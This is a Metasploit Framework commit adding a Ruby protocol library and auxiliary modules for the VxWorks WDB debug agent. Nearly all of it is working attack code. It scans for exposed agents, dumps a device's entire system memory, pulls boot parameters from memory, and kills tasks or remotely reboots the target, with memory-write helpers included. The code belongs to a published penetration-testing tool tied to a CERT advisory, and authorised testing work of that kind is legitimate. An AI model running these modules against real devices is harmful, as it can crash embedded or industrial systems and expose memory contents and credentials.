Import the scanner and utility modules for the VxWorks WDB Agent service

git-svn-id: file:///home/svn/framework3/trunk@9945 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-08-02 05:56:26 +00:00
parent c8ee0d0e1b
commit e26d4ded08
7 changed files with 1001 additions and 0 deletions

View File

@ -45,6 +45,8 @@ require 'msf/core/exploit/pop2'
require 'msf/core/exploit/tns'
require 'msf/core/exploit/db2'
require 'msf/core/exploit/postgres'
require 'msf/core/exploit/wdbrpc'
require 'msf/core/exploit/wdbrpc_client'
# Telephony
require 'msf/core/exploit/dialup'
@ -67,3 +69,4 @@ require 'msf/core/exploit/fmtstr'
# Java
require 'msf/core/exploit/java'

View File

@ -0,0 +1,246 @@
require 'msf/core'
module Msf
###
#
# This module exposes methods for manipulating the WDRPC service
#
###
module Exploit::Remote::WDBRPC
# WDB_TARGET_CONNECT2
def wdbrpc_request_connect2(ip)
ip += "\x00"
while(ip.length % 4 != 0)
ip << "\x00"
end
data = [
0x00000002,
0x00000000,
0x00000000,
0x00000001,
ip.length
].pack("N*") + ip
wdbrpc_request(0x7a, data)
end
# WDB_TARGET_CONNECT
def wdbrpc_request_connect(ip)
data = [ 0x00000002, 0x00000000, 0x00000000 ].pack("N*")
wdbrpc_request(1, data)
end
# WDB_TARGET_DISCONNECT
def wdbrpc_request_disconnect
data = [ 0x00000002, 0x00000000, 0x00000000 ].pack("N*")
wdbrpc_request(2, data)
end
def wdbrpc_request_regread(regset=0, offset=0, length=512, params=0)
data = [ regset ].pack("N")
# WDB_CTX
data << [
0, # WDB_CTX_SYSTEM (3 for task)
0, # SYSTEM (or set for task)
].pack("N*")
# WDB_MEM_REGION
data << [
offset, # baseAddress
length, # numberOfBytes
params, # params
].pack("N*")
wdbrpc_request(40, data)
end
def wdbrpc_request_memread(offset=0, length=512, params=0)
# WDB_MEM_REGION
data = [
offset, # baseAddress
length, # numberOfBytes
params, # params
].pack("N*")
wdbrpc_request(10, data)
end
def wdbrpc_request_memwrite(offset=0, buff='', params=0)
# Make sure its DWORD aligned
while(buff.length % 4 != 0)
buff << "\x00"
end
# WDB_MEM_XFER
data = [
buff.length,
offset, # target
buff.length
].pack("N*") + buff
wdbrpc_request(11, data)
end
def wdbrpc_request_memscan(offset=0, depth=1024, buff='', params=0)
# Make sure its DWORD aligned
while(buff.length % 4 != 0)
buff << "\x00"
end
# WDB_MEM_REGION
data = [
offset, # baseAddress
depth, # numberOfBytes
params, # params
].pack("N*")
# WDB_MEM_XFER
data << [
buff.length,
0,
buff.length
].pack("N*") + buff
wdbrpc_request(11, data)
end
def wdbrpc_request_context_kill(ctx_type, ctx)
# WDB_CTX
data = [
ctx_type, # WDB_CTX_SYSTEM (3 for task)
ctx, # SYSTEM (or set for task)
].pack("N*")
# options
data << [ 0 ] .pack("N")
wdbrpc_request(31, data)
end
def wdbrpc_parse_connect_reply(buff)
info = {}
head = buff.slice!(0,36)
info[:agent_ver] = wdbrpc_decode_str(buff)
info[:agent_mtu] = wdbrpc_decode_int(buff)
info[:agent_mod] = wdbrpc_decode_int(buff)
info[:rt_type] = wdbrpc_decode_int(buff)
info[:rt_vers] = wdbrpc_decode_str(buff)
info[:rt_cpu_type] = wdbrpc_decode_int(buff)
info[:rt_has_fpp] = wdbrpc_decode_bool(buff)
info[:rt_has_wp] = wdbrpc_decode_bool(buff)
info[:rt_page_size] = wdbrpc_decode_int(buff)
info[:rt_endian] = wdbrpc_decode_int(buff)
info[:rt_bsp_name] = wdbrpc_decode_str(buff)
info[:rt_bootline] = wdbrpc_decode_str(buff)
info[:rt_membase] = wdbrpc_decode_int(buff)
info[:rt_memsize] = wdbrpc_decode_int(buff)
info[:rt_region_count] = wdbrpc_decode_int(buff)
info[:rt_regions] = wdbrpc_decode_arr(buff, :int)
info[:rt_hostpool_base] = wdbrpc_decode_int(buff)
info[:rt_hostpool_size] = wdbrpc_decode_int(buff)
info
end
def wdbrpc_request(procedure, data)
pkt =
[
0x00000000, # XID (ignored by checksum and length)
0x00000000,
0x00000002,
0x55555555, # Program
0x00000001, # Version
procedure, # Procedure
0x00000000,
0x00000000,
0x00000000,
0x00000000
].pack("N*")
pkt +=
[
0x00000000, # Checksum
0x00000000, # Packet Size
wdbrpc_request_seqno
].pack("N*")
pkt += data
# Length excludes the XID
pkt[44, 4] = [ pkt.length - 4].pack("N")
# Set the checksum flag and calculate the checksum
pkt[42, 2] = [ wdbrpc_checksum(pkt) ].pack("n")
pkt[40, 2] = [0xffff].pack("n")
# Set the RPC XID
pkt[ 0, 4] = [ rand(0x100000000) ].pack("N")
pkt
end
def wdbrpc_request_seqno
@wdbrpc_seqno ||= 0
@wdbrpc_seqno += 1
end
def wdbrpc_checksum(data)
sum = 0
data.unpack("n*").each {|c| sum += c }
sum = (sum & 0xffff) + (sum >> 16)
(~sum)
end
def wdbrpc_decode_str(data)
return if data.length < 4
slen = data.slice!(0,4).unpack("N")[0]
return "" if slen == 0
while (slen % 4 != 0)
slen += 1
end
data.slice!(0,slen).to_s.split("\x00")[0]
end
def wdbrpc_decode_int(data)
return if data.length < 4
data.slice!(0,4).unpack("N")[0]
end
def wdbrpc_decode_arr(data, dtype)
return if data.length < 4
res = []
alen = data.slice!(0,4).unpack("N")[0]
return res if alen == 0
1.upto(alen) do |idx|
case dtype
when :int
res << wdbrpc_decode_int(data)
when :str
res << wdbrpc_decode_str(data)
when :bool
res << wdbrpc_decode_bool(data)
end
end
res
end
def wdbrpc_decode_bool(data)
return if data.length < 4
(data.slice!(0,4).unpack("N")[0] == 0) ? false : true
end
end
end

View File

@ -0,0 +1,218 @@
require 'msf/core'
module Msf
###
#
# This module exposes methods for talking to WDBRPC daemons
#
###
module Exploit::Remote::WDBRPC_Client
include Exploit::Remote::WDBRPC
include Auxiliary::Report
attr_accessor :wdbrpc_info, :udp_sock
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(17185),
], Msf::Exploit::Remote::WDBRPC_Client)
end
def wdbrpc_client_connect
self.wdbrpc_info = {}
wdbrpc_client_disconnect()
self.udp_sock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit' => self}
}
)
add_socket(self.udp_sock)
wdbrpc_client_send_disconnect()
udp_sock.sendto(wdbrpc_request_connect(rhost), rhost, rport, 0)
res,src = udp_sock.recvfrom(65535, 5)
if not res
print_error("No response to TARGET_CONNECT (WDB4)")
return
end
if res.length > 0 and res.length < 80
print_status("#{rhost}: Unknown response: '#{res.unpack("H*")[0]}'")
return
end
if res.empty?
print_error("#{rhost}: No response from the target")
return
end
self.wdbrpc_info = wdbrpc_parse_connect_reply(res)
print_status("#{rhost} Connected to #{self.wdbrpc_info[:rt_vers]} - #{self.wdbrpc_info[:rt_bsp_name]} (#{self.wdbrpc_info[:rt_bootline]})")
report_note(
:host => rhost,
:port => rport,
:proto => 'udp',
:type => 'vxworks.target_info',
:data => res,
:update => :unique
)
end
def wdbrpc_client_connect2
self.wdbrpc_info = {}
wdbrpc_client_disconnect()
self.udp_sock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit' => self}
}
)
add_socket(self.udp_sock)
wdbrpc_client_send_disconnect()
udp_sock.sendto(wdbrpc_request_connect2(rhost), rhost, rport, 0)
res,src = udp_sock.recvfrom(65535, 5)
if not res
print_error("No response to TARGET_CONNECT2")
return
end
if res.length < 80
print_status("#{rhost}: Unknown response: '#{res.unpack("H*")[0]}'")
return
end
self.wdbrpc_info = wdbrpc_parse_connect_reply(res)
print_status("#{rhost} Connected to #{self.wdbrpc_info[:rt_vers]} - #{self.wdbrpc_info[:rt_bsp_name]} (#{self.wdbrpc_info[:rt_bootline]})")
report_note(
:host => rhost,
:port => rport,
:proto => 'udp',
:type => 'vxworks.target_info',
:data => res,
:update => :unique
)
end
def wdbrpc_client_memread(offset, length, params=0)
pkt = wdbrpc_request_memread(offset, length, params)
cnt = 0
res = nil
begin
udp_sock.sendto(pkt, rhost, rport, 0)
res,src = udp_sock.recvfrom(65535, 0.5)
if not res and src
raise RuntimeError, "no reply"
end
if res.length <= 48
raise RuntimeError, "short read"
end
rescue ::Interrupt
raise $!
rescue ::Exception
if cnt < 120
cnt += 1
retry
end
end
res[48,res.length-48]
end
def wdbrpc_client_memwrite(offset, buffer, params=0)
pkt = wdbrpc_request_memwrite(offset, buffer, params)
cnt = 0
res = nil
udp_sock.sendto(pkt, rhost, rport, 0)
res,src = udp_sock.recvfrom(65535, 5.0)
if not res and src
raise RuntimeError, "no reply"
end
res[-4,4].unpack("N")[0]
end
def wdbrpc_client_memscan(offset, depth, buffer, params=0)
pkt = wdbrpc_request_memscan(offset, depth, buffer, params)
cnt = 0
res = nil
udp_sock.sendto(pkt, rhost, rport, 0)
res,src = udp_sock.recvfrom(65535, 5.0)
if not res and src
raise RuntimeError, "no reply"
end
p res
res
end
def wdbrpc_client_context_kill(ctx_type=0, ctx=0)
pkt = wdbrpc_request_context_kill(ctx_type, ctx)
res = nil
begin
udp_sock.sendto(pkt, rhost, rport, 0)
res,src = udp_sock.recvfrom(65535, 0.5)
rescue ::Interrupt
raise $!
rescue ::Exception
end
res
end
def wdbrpc_client_send_disconnect
pkt = wdbrpc_request_disconnect
begin
if self.udp_sock
self.udp_sock.sendto(pkt, rhost, rport, 0)
self.udp_sock.recvfrom(65535, 5)
end
rescue ::Interrupt
raise $!
rescue ::Exception
end
end
def wdbrpc_client_disconnect
wdbrpc_client_send_disconnect
if self.udp_sock
self.udp_sock.close rescue nil
end
self.udp_sock = nil
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT'].to_i
end
end
end

View File

@ -0,0 +1,112 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::WDBRPC_Client
def initialize(info = {})
super(update_info(info,
'Name' => 'VxWorks WDB Agent Remote Memory Dump',
'Description' => %q{
This module provides the ability to dump the system memory of a VxWorks target through WDBRPC
},
'Author' => [ 'hdm'],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
['URL', 'http://www.kb.cert.org/vuls/id/362332']
],
'Actions' =>
[
['Download']
],
'DefaultAction' => 'Download'
))
register_options(
[
OptString.new('LPATH',
[
true,
"The local filename to store the dumped memory",
::File.join(Msf::Config.log_directory, "vxworks_memory.dmp")
]
),
OptInt.new('OFFSET', [ true, "The starting offset to read the memory dump in hex", 0 ])
], self.class)
end
def run
offset = datastore['OFFSET'].to_s.to_i(16)
print_status("Attempting to dump system memory...")
wdbrpc_client_connect
if not @wdbrpc_info[:rt_vers]
print_error("No response to connection request")
return
end
membase = @wdbrpc_info[:rt_membase]
memsize = @wdbrpc_info[:rt_memsize]
mtu = @wdbrpc_info[:agent_mtu]
print_status("Dumping #{"0x%.8x" % memsize} bytes from base address #{"0x%.8x" % membase} at offset #{"0x%.8x" % offset}...")
lfd = nil
if offset != 0
lfd = ::File.open(datastore['LPATH'], "ab")
lfd.seek(offset)
else
lfd = ::File.open(datastore['LPATH'], "wb")
end
mtu -= 80
idx = offset
lpt = 0.00
sts = Time.now.to_f
while (idx < memsize)
buff = wdbrpc_client_memread(membase + idx, mtu)
if not buff
print_error("Failed to download data at offset #{"0x%.8x" % idx}")
return
end
idx += buff.length
lfd.write(buff)
pct = ((idx / memsize.to_f) * 10000).to_i
pct = pct / 100.0
if pct != lpt
eta = Time.at(Time.now.to_f + (((Time.now.to_f - sts) / pct) * (100.0 - pct)))
print_status("[ #{sprintf("%.2d", pct)} % ] Downloaded #{"0x%.8x" % idx} of #{"0x%.8x" % memsize} bytes (complete at #{eta.to_s})")
lpt = pct
end
end
lfd.close
print_status("Dumped #{"0x%.8x" % idx} bytes.")
wdbrpc_client_disconnect
end
end

View File

@ -0,0 +1,68 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::WDBRPC_Client
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'VxWorks WDB Agent Remote Reboot',
'Description' => %q{
This module provides the ability to reboot a VxWorks target through WDBRPC
},
'Author' => [ 'hdm'],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
['URL', 'http://www.kb.cert.org/vuls/id/362332']
],
'Actions' =>
[
['Reboot']
],
'DefaultAction' => 'Reboot'
))
register_options(
[
OptInt.new('CONTEXT', [ true, "The context to terminate (0=system reboot)", 0 ])
], self.class)
end
def run_host(ip)
wdbrpc_client_connect
membase = @wdbrpc_info[:rt_membase]
memsize = @wdbrpc_info[:rt_memsize]
mtu = @wdbrpc_info[:agent_mtu]
ctx = datastore['CONTEXT'].to_i
print_status("#{ip} - Killing task context #{ctx}...")
wdbrpc_client_context_kill( (ctx != 0) ? 3 : 0, ctx )
print_status("#{ip} - Done")
wdbrpc_client_disconnect
end
end

View File

@ -0,0 +1,196 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::WDBRPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VxWorks WDB Agent Boot Parameter Scanner',
'Version' => '$Revision$',
'Description' => 'Scan for exposed VxWorks wdbrpc daemons and dump the boot parameters from memory',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
['URL', 'http://www.kb.cert.org/vuls/id/362332']
]
)
register_options(
[
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
Opt::RPORT(17185)
], self.class)
end
# Define our batch size
def run_batch_size
datastore['BATCHSIZE'].to_i
end
# Operate on an entire batch of hosts at once
def run_batch(batch)
begin
udp_sock = nil
idx = 0
udp_sock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit' => self}
}
)
add_socket(udp_sock)
@udp_sock = udp_sock
batch.each do |ip|
begin
udp_sock.sendto(create_probe(ip), ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end
if (idx % 10 == 0)
while (r = udp_sock.recvfrom(65535, 0.01) and r[1])
parse_reply(r)
end
end
idx += 1
end
cnt = 0
del = 10
sts = Time.now.to_i
while (r = udp_sock.recvfrom(65535, del) and r[1])
parse_reply(r)
# Prevent an indefinite loop if the targets keep replying
cnt += 1
break if cnt > run_batch_size
# Escape after 15 seconds regardless of batch size
break if ((sts + 15) < Time.now.to_i)
del = 1.0
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
end
end
#
# The response parsers
#
def parse_reply(pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
data = pkt[0]
# Bare RPC response
if data.length == 24
ecode = data[20,4].unpack("N")[0]
emesg = "unknown"
case ecode
when 3
# Should not be hit
emesg = "Device requires the VxWorks 5 WDB protocol"
when 5
emesg = "Device failed to parse the probe"
end
print_status("#{pkt[1]} Error: code=#{ecode} #{emesg}")
return
end
if data.length < 80
print_status("#{pkt[1]}: Unknown response #{data.unpack("H*")[0]}")
return
end
# Memory dump response
if data[48,64] =~ /^.{1,16}\(\d+,\d+\)/
buff = data[48, data.length-48]
boot,left = buff.split("\x00", 2)
print_status("#{pkt[1]}: BOOT> #{boot}")
report_note(
:host => pkt[1],
:port => datastore['RPORT'],
:proto => 'udp',
:type => 'vxworks.bootline',
:data => {:bootline => boot },
:update => :unique_data
)
return
end
res = wdbrpc_parse_connect_reply(data)
if res[:rt_membase]
print_status("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
report_note(
:host => pkt[1],
:port => datastore['RPORT'],
:proto => 'udp',
:type => 'vxworks.target_info',
:data => res,
:update => :unique
)
# Send the memory dump request for the bootline. Theoretically we can infer the correct
# location from the cpu type and BSP name, but these are tough to categorize and there
# is no harm in trying multiple offsets
# Most common mapping is 0x700 (M68k, ARM, etc)
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x700, 512), pkt[1], datastore['RPORT'].to_i, 0)
# PowerPC uses 0x4200
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x4200, 512), pkt[1], datastore['RPORT'].to_i, 0)
# PC x86 uses 0x1200
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x1200, 512), pkt[1], datastore['RPORT'].to_i, 0)
# SPARC-lite uses 0x600
@udp_sock.sendto(wdbrpc_request_memread(res[:rt_membase] + 0x600, 512), pkt[1], datastore['RPORT'].to_i, 0)
end
end
def create_probe(ip)
wdbrpc_request_connect(ip)
end
end

View File

@ -0,0 +1,158 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::WDBRPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VxWorks WDB Agent Version Scanner',
'Version' => '$Revision$',
'Description' => 'Scan for exposed VxWorks wdbrpc daemons',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html'],
['URL', 'http://www.kb.cert.org/vuls/id/362332']
]
)
register_options(
[
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
Opt::RPORT(17185)
], self.class)
end
# Define our batch size
def run_batch_size
datastore['BATCHSIZE'].to_i
end
# Operate on an entire batch of hosts at once
def run_batch(batch)
begin
udp_sock = nil
idx = 0
udp_sock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit' => self}
}
)
add_socket(udp_sock)
batch.each do |ip|
begin
udp_sock.sendto(create_probe(ip), ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end
if (idx % 10 == 0)
while (r = udp_sock.recvfrom(65535, 0.01) and r[1])
parse_reply(r)
end
end
idx += 1
end
cnt = 0
del = 10
sts = Time.now.to_i
while (r = udp_sock.recvfrom(65535, del) and r[1])
parse_reply(r)
# Prevent an indefinite loop if the targets keep replying
cnt += 1
break if cnt > run_batch_size
# Escape after 15 seconds regardless of batch size
break if ((sts + 15) < Time.now.to_i)
del = 1.0
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
end
end
#
# The response parsers
#
def parse_reply(pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
data = pkt[0]
# Bare RPC response
if data.length == 24
ecode = data[20,4].unpack("N")[0]
emesg = "unknown"
case ecode
when 3
# Should not be hit
emesg = "Device requires the VxWorks 5 WDB protocol"
when 5
emesg = "Device failed to parse the probe"
end
print_status("#{pkt[1]} Error: code=#{ecode} #{emesg}")
return
end
if data.length < 80
print_status("#{pkt[1]}: Unknown response #{data.unpack("H*")[0]}")
return
end
res = wdbrpc_parse_connect_reply(data)
print_status("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
report_note(
:host => pkt[1],
:port => datastore['RPORT'],
:proto => 'udp',
:type => 'vxworks.target_info',
:data => res,
:update => :unique
)
end
def create_probe(ip)
wdbrpc_request_connect(ip)
end
end